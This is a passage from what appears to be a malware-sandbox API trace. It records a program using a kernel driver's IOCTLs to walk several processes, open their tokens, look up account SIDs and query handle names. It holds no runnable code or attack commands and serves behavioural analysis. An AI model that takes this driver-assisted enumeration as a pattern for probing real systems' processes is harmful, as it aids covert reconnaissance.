KeUnstackDetachProcess (ApcState=0xfffff880054735d0) [0137.248] PsReleaseProcessExitSynchronization () returned 0x2 [0137.248] ObfDereferenceObject (Object=0xfffffa8001fc4b30) returned 0x10 [0137.248] ObQueryNameString (in: Object=0xfffff8a00109ffc0, ObjectNameInfo=0xfffffa80019ff044, Length=0x800, ReturnLength=0xfffff88005473550 | out: ObjectNameInfo=0xfffffa80019ff044, ReturnLength=0xfffff88005473550) returned 0x0 [0137.248] ObfDereferenceObject (Object=0xfffff8a00109ffc0) returned 0x4b [0137.248] IofCompleteRequest (Irp=0xfffffa8001fa6b40, PriorityBoost=0) [0137.248] HeapFree (in: hHeap=0x330000, dwFlags=0x0, lpMem=0x370b20 | out: hHeap=0x330000) returned 1 [0137.248] OpenProcess (dwDesiredAccess=0x400, bInheritHandle=0, dwProcessId=0x2dc) returned 0xc0 [0137.248] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x8335000c, lpInBuffer=0x12d3d0*, nInBufferSize=0x8, lpOutBuffer=0x12d3d8, nOutBufferSize=0x8, lpBytesReturned=0x12d360, lpOverlapped=0x0 | out: lpInBuffer=0x12d3d0*, lpOutBuffer=0x12d3d8*, lpBytesReturned=0x12d360*=0x8, lpOverlapped=0x0) returned 1 [0137.248] ObReferenceObjectByHandle (in: Handle=0xc0, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0x1, Object=0xfffff88005473668, HandleInformation=0x0 | out: Object=0xfffff88005473668*=0xfffffa8001fc8b30, HandleInformation=0x0) returned 0x0 [0137.248] ObOpenObjectByPointer (in: Object=0xfffffa8001fc8b30, HandleAttributes=0x200, PassedAccessState=0x0, DesiredAccess=0x10000000, ObjectType=0x0, AccessMode=0x0, Handle=0xfffff88005473670 | out: Handle=0xfffff88005473670*=0xffffffff80000af8) returned 0x0 [0137.248] ObfDereferenceObject (Object=0xfffffa8001fc8b30) returned 0x12 [0137.248] ZwOpenProcessToken (in: ProcessHandle=0xffffffff80000af8, DesiredAccess=0x8, TokenHandle=0xfffffa800f135fc0 | out: TokenHandle=0xfffffa800f135fc0*=0xc8) returned 0x0 [0137.248] ZwClose (Handle=0xffffffff80000af8) returned 0x0 [0137.248] IofCompleteRequest (Irp=0xfffffa8001fa6b40, PriorityBoost=0) [0137.248] GetTokenInformation (in: TokenHandle=0xc8, TokenInformationClass=0x1, TokenInformation=0x12d3f0, TokenInformationLength=0x800, ReturnLength=0x12d3c8 | out: TokenInformation=0x12d3f0, ReturnLength=0x12d3c8) returned 1 [0137.249] LookupAccountSidW (in: lpSystemName="", Sid=0x12d400*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x25)), Name=0x12ecb0, cchName=0x12d3c0, ReferencedDomainName=0x12e690, cchReferencedDomainName=0x12e440, peUse=0x12d3e0 | out: Name="5p5NrGJn0jS HALPmcxz", cchName=0x12d3c0, ReferencedDomainName="XDUWTFONO", cchReferencedDomainName=0x12e440, peUse=0x12d3e0) returned 1 [0137.251] CloseHandle (hObject=0xc8) returned 1 [0137.251] CloseHandle (hObject=0xc0) returned 1 [0137.251] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x0, Size=0x808) returned 0x370b20 [0137.251] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x370b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x370b20*, lpBytesReturned=0x12d450*=0x48, lpOverlapped=0x0) returned 1 [0137.251] PsLookupProcessByProcessId (in: ProcessId=0x2dc, Process=0xfffff88005473558 | out: Process=0xfffff88005473558) returned 0x0 [0137.251] PsAcquireProcessExitSynchronization () returned 0x0 [0137.251] KeStackAttachProcess (in: PROCESS=0xfffffa8001fc8b30, ApcState=0xfffff880054735d0 | out: PROCESS=0xfffffa8001fc8b30, ApcState=0xfffff880054735d0) [0137.251] ObReferenceObjectByHandle (in: Handle=0x10, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2001, Object=0xfffff88005473548, HandleInformation=0x0 | out: Object=0xfffff88005473548*=0xfffffa8001fe1f20, HandleInformation=0x0) returned 0x0 [0137.251] KeUnstackDetachProcess (ApcState=0xfffff880054735d0) [0137.251] PsReleaseProcessExitSynchronization () returned 0x2 [0137.251] ObfDereferenceObject (Object=0xfffffa8001fc8b30) returned 0x10 [0137.251] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa8001a01044, Length=0x800, ReturnLength=0xfffff88005473508 | out: ObjectNameInfo=0xfffffa8001a01044, ReturnLength=0xfffff88005473508) returned 0x0 [0137.251] ObfDereferenceObject (Object=0xfffffa8001fe1f20) returned 0x1 [0137.251] IofCompleteRequest (Irp=0xfffffa8001fa6b40, PriorityBoost=0) [0137.251] HeapFree (in: hHeap=0x330000, dwFlags=0x0, lpMem=0x370b20 | out: hHeap=0x330000) returned 1 [0137.251] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x0, Size=0x808) returned 0x370b20 [0137.251] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x370b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x370b20*, lpBytesReturned=0x12d450*=0x86, lpOverlapped=0x0) returned 1 [0137.251] PsLookupProcessByProcessId (in: ProcessId=0x2dc, Process=0xfffff88005473558 | out: Process=0xfffff88005473558) returned 0x0 [0137.251] PsAcquireProcessExitSynchronization () returned 0x0 [0137.251] KeStackAttachProcess (in: PROCESS=0xfffffa8001fc8b30, ApcState=0xfffff880054735d0 | out: PROCESS=0xfffffa8001fc8b30, ApcState=0xfffff880054735d0) [0137.251] ObReferenceObjectByHandle (in: Handle=0x1c, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2001, Object=0xfffff88005473548, HandleInformation=0x0 | out: Object=0xfffff88005473548*=0xfffffa8001fe1b50, HandleInformation=0x0) returned 0x0 [0137.251] KeUnstackDetachProcess (ApcState=0xfffff880054735d0) [0137.251] PsReleaseProcessExitSynchronization () returned 0x2 [0137.251] ObfDereferenceObject (Object=0xfffffa8001fc8b30) returned 0x10 [0137.251] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa8001a06044, Length=0x800, ReturnLength=0xfffff88005473508 | out: ObjectNameInfo=0xfffffa8001a06044, ReturnLength=0xfffff88005473508) returned 0x0 [0137.251] ObfDereferenceObject (Object=0xfffffa8001fe1b50) returned 0x1 [0137.251] IofCompleteRequest (Irp=0xfffffa8001fa6b40, PriorityBoost=0) [0137.252] HeapFree (in: hHeap=0x330000, dwFlags=0x0, lpMem=0x370b20 | out: hHeap=0x330000) returned 1 [0137.252] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x0, Size=0x808) returned 0x370b20 [0137.252] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x370b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x370b20*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0137.252] PsLookupProcessByProcessId (in: ProcessId=0x2dc, Process=0xfffff88005473558 | out: Process=0xfffff88005473558) returned 0x0 [0137.252] PsAcquireProcessExitSynchronization () returned 0x0 [0137.252] KeStackAttachProcess (in: PROCESS=0xfffffa8001fc8b30, ApcState=0xfffff880054735d0 | out: PROCESS=0xfffffa8001fc8b30, ApcState=0xfffff880054735d0) [0137.252] ObReferenceObjectByHandle (in: Handle=0x64, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2001, Object=0xfffff88005473548, HandleInformation=0x0 | out: Object=0xfffff88005473548*=0xfffff8a00109ffc0, HandleInformation=0x0) returned 0x0 [0137.252] KeUnstackDetachProcess (ApcState=0xfffff880054735d0) [0137.252] PsReleaseProcessExitSynchronization () returned 0x2 [0137.252] ObfDereferenceObject (Object=0xfffffa8001fc8b30) returned 0x10 [0137.252] ObQueryNameString (in: Object=0xfffff8a00109ffc0, ObjectNameInfo=0xfffffa8001a07044, Length=0x800, ReturnLength=0xfffff88005473550 | out: ObjectNameInfo=0xfffffa8001a07044, ReturnLength=0xfffff88005473550) returned 0x0 [0137.252] ObfDereferenceObject (Object=0xfffff8a00109ffc0) returned 0x4b [0137.252] IofCompleteRequest (Irp=0xfffffa8001fa6b40, PriorityBoost=0) [0137.252] HeapFree (in: hHeap=0x330000, dwFlags=0x0, lpMem=0x370b20 | out: hHeap=0x330000) returned 1 [0137.252] OpenProcess (dwDesiredAccess=0x400, bInheritHandle=0, dwProcessId=0x42c) returned 0xc0 [0137.252] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x8335000c, lpInBuffer=0x12d3d0*, nInBufferSize=0x8, lpOutBuffer=0x12d3d8, nOutBufferSize=0x8, lpBytesReturned=0x12d360, lpOverlapped=0x0 | out: lpInBuffer=0x12d3d0*, lpOutBuffer=0x12d3d8*, lpBytesReturned=0x12d360*=0x8, lpOverlapped=0x0) returned 1 [0137.252] ObReferenceObjectByHandle (in: Handle=0xc0, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0x1, Object=0xfffff88005473668, HandleInformation=0x0 | out: Object=0xfffff88005473668*=0xfffffa8002003b30, HandleInformation=0x0) returned 0x0 [0137.252] ObOpenObjectByPointer (in: Object=0xfffffa8002003b30, HandleAttributes=0x200, PassedAccessState=0x0, DesiredAccess=0x10000000, ObjectType=0x0, AccessMode=0x0, Handle=0xfffff88005473670 | out: Handle=0xfffff88005473670*=0xffffffff80000af8) returned 0x0 [0137.252] ObfDereferenceObject (Object=0xfffffa8002003b30) returned 0x12 [0137.252] ZwOpenProcessToken (in: ProcessHandle=0xffffffff80000af8, DesiredAccess=0x8, TokenHandle=0xfffffa800f135fc0 | out: TokenHandle=0xfffffa800f135fc0*=0xc8) returned 0x0 [0137.252] ZwClose (Handle=0xffffffff80000af8) returned 0x0 [0137.252] IofCompleteRequest (Irp=0xfffffa8001fa6b40, PriorityBoost=0) [0137.252] GetTokenInformation (in: TokenHandle=0xc8, TokenInformationClass=0x1, TokenInformation=0x12d3f0, TokenInformationLength=0x800, ReturnLength=0x12d3c8 | out: TokenInformation=0x12d3f0, ReturnLength=0x12d3c8) returned 1 [0137.252] LookupAccountSidW (in: lpSystemName="", Sid=0x12d400*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x25)), Name=0x12ecb0, cchName=0x12d3c0, ReferencedDomainName=0x12e690, cchReferencedDomainName=0x12e440, peUse=0x12d3e0 | out: Name="5p5NrGJn0jS HALPmcxz", cchName=0x12d3c0, ReferencedDomainName="XDUWTFONO", cchReferencedDomainName=0x12e440, peUse=0x12d3e0) returned 1 [0137.254] CloseHandle (hObject=0xc8) returned 1 [0137.254] CloseHandle (hObject=0xc0) returned 1 [0137.254] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x0, Size=0x808) returned 0x370b20 [0137.254] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x370b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x370b20*, lpBytesReturned=0x12d450*=0x48, lpOverlapped=0x0) returned 1 [0137.254] PsLookupProcessByProcessId (in: ProcessId=0x42c, Process=0xfffff88005473558 | out: Process=0xfffff88005473558) returned 0x0 [0137.254] PsAcquireProcessExitSynchronization () returned 0x0 [0137.254] KeStackAttachProcess (in: PROCESS=0xfffffa8002003b30, ApcState=0xfffff880054735d0 | out: PROCESS=0xfffffa8002003b30, ApcState=0xfffff880054735d0) [0137.254] ObReferenceObjectByHandle (in: Handle=0x10, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2001, Object=0xfffff88005473548, HandleInformation=0x0 | out: Object=0xfffff88005473548*=0xfffffa8001ff2980, HandleInformation=0x0) returned 0x0 [0137.254] KeUnstackDetachProcess (ApcState=0xfffff880054735d0) [0137.254] PsReleaseProcessExitSynchronization () returned 0x2 [0137.254] ObfDereferenceObject (Object=0xfffffa8002003b30) returned 0x10 [0137.254] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa8001a08044, Length=0x800, ReturnLength=0xfffff88005473508 | out: ObjectNameInfo=0xfffffa8001a08044, ReturnLength=0xfffff88005473508) returned 0x0 [0137.254] ObfDereferenceObject (Object=0xfffffa8001ff2980) returned 0x1 [0137.254] IofCompleteRequest (Irp=0xfffffa8001fa6b40, PriorityBoost=0) [0137.254] HeapFree (in: hHeap=0x330000, dwFlags=0x0, lpMem=0x370b20 | out: hHeap=0x330000) returned 1 [0137.254] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x0, Size=0x808) returned 0x370b20 [0137.254] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x370b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x370b20*, lpBytesReturned=0x12d450*=0x70, lpOverlapped=0x0) returned 1 [0137.254] PsLookupProcessByProcessId (in: ProcessId=0x42c, Process=0xfffff88005473558 | out: Process=0xfffff88005473558) returned 0x0 [0137.254] PsAcquireProcessExitSynchronization () returned 0x0 [0137.254] KeStackAttachProcess (in: PROCESS=0xfffffa8002003b30, ApcState=0xfffff880054735d0 | out: PROCESS=0xfffffa8002003b30, ApcState=0xfffff880054735d0) [0137.254] ObReferenceObjectByHandle (in: Handle=0x1c, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2001, Object=0xfffff88005473548, HandleInformation=0x0 | out: Object=0xfffff88005473548*=0xfffffa8001f79e50, HandleInformation=0x0) returned 0x0 [0137.254] KeUnstackDetachProcess (ApcState=0xfffff880054735d0) [0137.254] PsReleaseProcessExitSynchronization () returned 0x2 [0137.254] ObfDereferenceObject (Object=0xfffffa8002003b30) returned 0x10 [0137.254] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa800240c744, Length=0x800, ReturnLength=0xfffff88005473508 | out: ObjectNameInfo=0xfffffa800240c744, ReturnLength=0xfffff88005473508) returned 0x0 [0137.255] ObfDereferenceObject (Object=0xfffffa8001f79e50) returned 0x1 [0137.255] IofCompleteRequest (Irp=0xfffffa8001fa6b40, PriorityBoost=0) [0137.255] HeapFree (in: hHeap=0x330000, dwFlags=0x0, lpMem=0x370b20 | out: hHeap=0x330000) returned 1 [0137.255] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x0, Size=0x808) returned 0x370b20 [0137.255] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x370b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x370b20*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0137.255] PsLookupProcessByProcessId (in: ProcessId=0x42c, Process=0xfffff88005473558 | out: Process=0xfffff88005473558) returned 0x0 [0137.255] PsAcquireProcessExitSynchronization () returned 0x0 [0137.255] KeStackAttachProcess (in: PROCESS=0xfffffa8002003b30, ApcState=0xfffff880054735d0 | out: PROCESS=0xfffffa8002003b30, ApcState=0xfffff880054735d0) [0137.255] ObReferenceObjectByHandle (in: Handle=0x64, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2001, Object=0xfffff88005473548, HandleInformation=0x0 | out: Object=0xfffff88005473548*=0xfffff8a00109ffc0, HandleInformation=0x0) returned 0x0 [0137.255] KeUnstackDetachProcess (ApcState=0xfffff880054735d0) [0137.255] PsReleaseProcessExitSynchronization () returned 0x2 [0137.255] ObfDereferenceObject (Object=0xfffffa8002003b30) returned 0x10 [0137.255] ObQueryNameString (in: Object=0xfffff8a00109ffc0, ObjectNameInfo=0xfffffa800390e204, Length=0x800, ReturnLength=0xfffff88005473550 | out: ObjectNameInfo=0xfffffa800390e204, ReturnLength=0xfffff88005473550) returned 0x0 [0137.255] ObfDereferenceObject (Object=0xfffff8a00109ffc0) returned 0x4b [0137.255] IofCompleteRequest (Irp=0xfffffa8001fa6b40, PriorityBoost=0) [0137.255] HeapFree (in: hHeap=0x330000, dwFlags=0x0, lpMem=0x370b20 | out: hHeap=0x330000) returned 1 [0137.255] OpenProcess (dwDesiredAccess=0x400, bInheritHandle=0, dwProcessId=0x320) returned 0xc0 [0137.255] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x8335000c, lpInBuffer=0x12d3d0*, nInBufferSize=0x8, lpOutBuffer=0x12d3d8, nOutBufferSize=0x8, lpBytesReturned=0x12d360, lpOverlapped=0x0 | out: lpInBuffer=0x12d3d0*, lpOutBuffer=0x12d3d8*, lpBytesReturned=0x12d360*=0x8, lpOverlapped=0x0) returned 1 [0137.255] ObReferenceObjectByHandle (in: Handle=0xc0, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0x1, Object=0xfffff88005473668, HandleInformation=0x0 | out: Object=0xfffff88005473668*=0xfffffa8001fcf060, HandleInformation=0x0) returned 0x0 [0137.255] ObOpenObjectByPointer (in: Object=0xfffffa8001fcf060, HandleAttributes=0x200, PassedAccessState=0x0, DesiredAccess=0x10000000, ObjectType=0x0, AccessMode=0x0, Handle=0xfffff88005473670 | out: Handle=0xfffff88005473670*=0xffffffff80000af8) returned 0x0 [0137.255] ObfDereferenceObject (Object=0xfffffa8001fcf060) returned 0x12 [0137.255] ZwOpenProcessToken (in: ProcessHandle=0xffffffff80000af8, DesiredAccess=0x8, TokenHandle=0xfffffa800f135fc0 | out: TokenHandle=0xfffffa800f135fc0*=0xc8) returned 0x0 [0137.255] ZwClose (Handle=0xffffffff80000af8) returned 0x0 [0137.255] IofCompleteRequest (Irp=0xfffffa8001fa6b40, PriorityBoost=0) [0137.255] GetTokenInformation (in: TokenHandle=0xc8, TokenInformationClass=0x1, TokenInformation=0x12d3f0, TokenInformationLength=0x800, ReturnLength=0x12d3c8 | out: TokenInformation=0x12d3f0, ReturnLength=0x12d3c8) returned 1 [0137.255] LookupAccountSidW (in: lpSystemName="", Sid=0x12d400*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x25)), Name=0x12ecb0, cchName=0x12d3c0, ReferencedDomainName=0x12e690, cchReferencedDomainName=0x12e440, peUse=0x12d3e0 | out: Name="5p5NrGJn0jS HALPmcxz", cchName=0x12d3c0, ReferencedDomainName="XDUWTFONO", cchReferencedDomainName=0x12e440, peUse=0x12d3e0) returned 1 [0137.257] CloseHandle (hObject=0xc8) returned 1 [0137.257] CloseHandle (hObject=0xc0) returned 1 [0137.257] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x0, Size=0x808) returned 0x370b20 [0137.257] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x370b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x370b20*, lpBytesReturned=0x12d450*=0x48, lpOverlapped=0x0) returned 1 [0137.257] PsLookupProcessByProcessId (in: ProcessId=0x320, Process=0xfffff88005473558 | out: Process=0xfffff88005473558) returned 0x0 [0137.257] PsAcquireProcessExitSynchronization () returned 0x0 [0137.257] KeStackAttachProcess (in: PROCESS=0xfffffa8001fcf060, ApcState=0xfffff880054735d0 | out: PROCESS=0xfffffa8001fcf060, ApcState=0xfffff880054735d0) [0137.257] ObReferenceObjectByHandle (in: Handle=0x10, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2001, Object=0xfffff88005473548, HandleInformation=0x0 | out: Object=0xfffff88005473548*=0xfffffa8001f3d070, HandleInformation=0x0) returned 0x0 [0137.257] KeUnstackDetachProcess (ApcState=0xfffff880054735d0) [0137.257] PsReleaseProcessExitSynchronization () returned 0x2 [0137.257] ObfDereferenceObject (Object=0xfffffa8001fcf060) returned 0x10 [0137.257] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa800231d7c4, Length=0x800, ReturnLength=0xfffff88005473508 | out: ObjectNameInfo=0xfffffa800231d7c4, ReturnLength=0xfffff88005473508) returned 0x0 [0137.257] ObfDereferenceObject (Object=0xfffffa8001f3d070) returned 0x1 [0137.257] IofCompleteRequest (Irp=0xfffffa8001fa6b40, PriorityBoost=0) [0137.257] HeapFree (in: hHeap=0x330000, dwFlags=0x0, lpMem=0x370b20 | out: hHeap=0x330000) returned 1 [0137.257] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x0, Size=0x808) returned 0x370b20 [0137.257] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x370b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x370b20*, lpBytesReturned=0x12d450*=0x6a, lpOverlapped=0x0) returned 1 [0137.257] PsLookupProcessByProcessId (in: ProcessId=0x320, Process=0xfffff88005473558 | out: Process=0xfffff88005473558) returned 0x0 [0137.257] PsAcquireProcessExitSynchronization () returned 0x0 [0137.257] KeStackAttachProcess (in: PROCESS=0xfffffa8001fcf060, ApcState=0xfffff880054735d0 | out: PROCESS=0xfffffa8001fcf060, ApcState=0xfffff880054735d0) [0137.258] ObReferenceObjectByHandle (in: Handle=0x1c, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2001, Object=0xfffff88005473548, HandleInformation=0x0 | out: Object=0xfffff88005473548*=0xfffffa8001a12f20, HandleInformation=0x0) returned 0x0 [0137.258] KeUnstackDetachProcess (ApcState=0xfffff880054735d0) [0137.258] PsReleaseProcessExitSynchronization () returned 0x2 [0137.258] ObfDereferenceObject (Object=0xfffffa8001fcf060) returned 0x10 [0137.258] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa800208f044, Length=0x800, ReturnLength=0xfffff88005473508 | out: ObjectNameInfo=0xfffffa800208f044, ReturnLength=0xfffff88005473508) returned 0x0 [0137.258] ObfDereferenceObject (Object=0xfffffa8001a12f20) returned 0x1 [0137.258] IofCompleteRequest (Irp=0xfffffa8001fa6b40, PriorityBoost=0) [0137.258] HeapFree (in: hHeap=0x330000, dwFlags=0x0, lpMem=0x370b20 | out: hHeap=0x330000) returned 1 [0137.258] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x0, Size=0x808) returned 0x370b20 [0137.258] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x370b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x370b20*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0137.258] PsLookupProcessByProcessId (in: ProcessId=0x320, Process=0xfffff88005473558 | out: Process=0xfffff88005473558) returned 0x0 [0137.258] PsAcquireProcessExitSynchronization () returned 0x0 [0137.258] KeStackAttachProcess (in: PROCESS=0xfffffa8001fcf060, ApcState=0xfffff880054735d0 | out: PROCESS=0xfffffa8001fcf060, ApcState=0xfffff880054735d0) [0137.258] ObReferenceObjectByHandle (in: Handle=0x64, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2001, Object=0xfffff88005473548, HandleInformation=0x0 | out: Object=0xfffff88005473548*=0xfffff8a00109ffc0, HandleInformation=0x0) returned 0x0 [0137.258] KeUnstackDetachProcess (ApcState=0xfffff880054735d0) [0137.258] PsReleaseProcessExitSynchronization () returned 0x2 [0137.258] ObfDereferenceObject (Object=0xfffffa8001fcf060) returned 0x10 [0137.258] ObQueryNameString (in: Object=0xfffff8a00109ffc0, ObjectNameInfo=0xfffffa800384d744, Length=0x800, ReturnLength=0xfffff88005473550 | out: ObjectNameInfo=0xfffffa800384d744, ReturnLength=0xfffff88005473550) returned 0x0 [0137.258] ObfDereferenceObject (Object=0xfffff8a00109ffc0) returned 0x4b [0137.258] IofCompleteRequest (Irp=0xfffffa8001fa6b40, PriorityBoost=0) [0137.258] HeapFree (in: hHeap=0x330000, dwFlags=0x0, lpMem=0x370b20 | out: hHeap=0x330000) returned 1 [0137.258] OpenProcess (dwDesiredAccess=0x400, bInheritHandle=0, dwProcessId=0x424) returned 0xc0 [0137.258] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x8335000c, lpInBuffer=0x12d3d0*, nInBufferSize=0x8, lpOutBuffer=0x12d3d8, nOutBufferSize=0x8, lpBytesReturned=0x12d360, lpOverlapped=0x0 | out: lpInBuffer=0x12d3d0*, lpOutBuffer=0x12d3d8*, lpBytesReturned=0x12d360*=0x8, lpOverlapped=0x0) returned 1 [0137.258] ObReferenceObjectByHandle (in: Handle=0xc0, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0x1, Object=0xfffff88005473668, HandleInformation=0x0 | out: Object=0xfffff88005473668*=0xfffffa8001a17b30, HandleInformation=0x0) returned 0x0 [0137.258] ObOpenObjectByPointer (in: Object=0xfffffa8001a17b30, HandleAttributes=0x200, PassedAccessState=0x0, DesiredAccess=0x10000000, ObjectType=0x0, AccessMode=0x0, Handle=0xfffff88005473670 | out: Handle=0xfffff88005473670*=0xffffffff80000af8) returned 0x0 [0137.258] ObfDereferenceObject (Object=0xfffffa8001a17b30) returned 0x12 [0137.258] ZwOpenProcessToken (in: ProcessHandle=0xffffffff80000af8, DesiredAccess=0x8, TokenHandle=0xfffffa800f135fc0 | out: TokenHandle=0xfffffa800f135fc0*=0xc8) returned 0x0 [0137.258] ZwClose (Handle=0xffffffff80000af8) returned 0x0 [0137.258] IofCompleteRequest (Irp=0xfffffa8001fa6b40, PriorityBoost=0) [0137.258] GetTokenInformation (in: TokenHandle=0xc8, TokenInformationClass=0x1, TokenInformation=0x12d3f0, TokenInformationLength=0x800, ReturnLength=0x12d3c8 | out: TokenInformation=0x12d3f0, ReturnLength=0x12d3c8) returned 1 [0137.259] LookupAccountSidW (in: lpSystemName="", Sid=0x12d400*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x25)), Name=0x12ecb0, cchName=0x12d3c0, ReferencedDomainName=0x12e690, cchReferencedDomainName=0x12e440, peUse=0x12d3e0 | out: Name="5p5NrGJn0jS HALPmcxz", cchName=0x12d3c0, ReferencedDomainName="XDUWTFONO", cchReferencedDomainName=0x12e440, peUse=0x12d3e0) returned 1 [0137.260] CloseHandle (hObject=0xc8) returned 1 [0137.260] CloseHandle (hObject=0xc0) returned 1 [0137.260] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x0, Size=0x808) returned 0x370b20 [0137.260] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x370b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x370b20*, lpBytesReturned=0x12d450*=0x48, lpOverlapped=0x0) returned 1 [0137.260] PsLookupProcessByProcessId (in: ProcessId=0x424, Process=0xfffff88005473558 | out: Process=0xfffff88005473558) returned 0x0 [0137.260] PsAcquireProcessExitSynchronization () returned 0x0 [0137.260] KeStackAttachProcess (in: PROCESS=0xfffffa8001a17b30, ApcState=0xfffff880054735d0 | out: PROCESS=0xfffffa8001a17b30, ApcState=0xfffff880054735d0) [0137.260] ObReferenceObjectByHandle (in: Handle=0x10, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2001, Object=0xfffff88005473548, HandleInformation=0x0 | out: Object=0xfffff88005473548*=0xfffffa8001fc56e0, HandleInformation=0x0) returned 0x0 [0137.260] KeUnstackDetachProcess (ApcState=0xfffff880054735d0) [0137.260] PsReleaseProcessExitSynchronization () returned 0x2 [0137.260] ObfDereferenceObject (Object=0xfffffa8001a17b30) returned 0x10 [0137.260] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa80024077c4, Length=0x800, ReturnLength=0xfffff88005473508 | out: ObjectNameInfo=0xfffffa80024077c4, ReturnLength=0xfffff88005473508) returned 0x0 [0137.260] ObfDereferenceObject 